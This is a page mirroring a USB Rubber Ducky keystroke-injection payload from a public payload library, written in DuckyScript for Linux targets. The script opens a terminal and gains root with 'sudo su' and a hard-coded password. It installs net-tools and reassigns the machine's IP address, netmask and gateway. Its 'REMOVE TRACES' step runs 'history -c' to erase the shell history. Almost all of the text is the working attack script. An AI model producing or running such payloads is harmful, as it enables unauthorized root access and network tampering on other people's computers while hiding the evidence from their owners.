Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/execution/ChangeNetworkConfiguration_Linux/payload.txt
2971 views
1
2
REM ###############################################
3
REM # |
4
REM # Title : Change Network Configuration |
5
REM # Author : Aleff |
6
REM # Version : 1.0 |
7
REM # Category : Execution |
8
REM # Target : Linux |
9
REM # |
10
REM ###############################################
11
12
REM Requirements:
13
REM - Permissions
14
15
DELAY 1000
16
CTRL-ALT t
17
DELAY 2000
18
19
20
REM #### PERMISSIONS SECTION ####
21
22
23
REM Required: You need to know the sudo password and replace 'example' with this
24
DEFINE SUDO_PASS example
25
STRING sudo su
26
ENTER
27
28
DELAY 1000
29
STRING SUDO_PASS
30
ENTER
31
DELAY 1000
32
33
34
REM #### IP SECTION ####
35
36
37
REM net-tools command
38
STRING apt install net-tools
39
ENTER
40
DELAY 2000
41
42
REM Set network interface
43
DEFINE IP 192.168.1.100
44
DEFINE MASK 255.255.255.0
45
DEFINE GATEWAY 192.168.1.1
46
47
STRING IP="
48
STRING IP
49
STRING "
50
ENTER
51
DELAY 500
52
STRING MASK="
53
STRING MASK
54
STRING "
55
ENTER
56
DELAY 500
57
STRING GATEWAY="
58
STRING GATEWAY
59
STRING "
60
ENTER
61
DELAY 500
62
63
REM Get the net interface name
64
STRING INTERFACE=$(ip route get 8.8.8.8 | awk '{print $5}')
65
ENTER
66
DELAY 500
67
STRING ifconfig $INTERFACE $IP netmask $MASK up
68
ENTER
69
DELAY 500
70
71
72
REM #### REMOVE TRACES ####
73
74
75
STRING history -c
76
ENTER
77
DELAY 500
78
79
REM Close shell
80
STRING exit
81
ENTER
82
83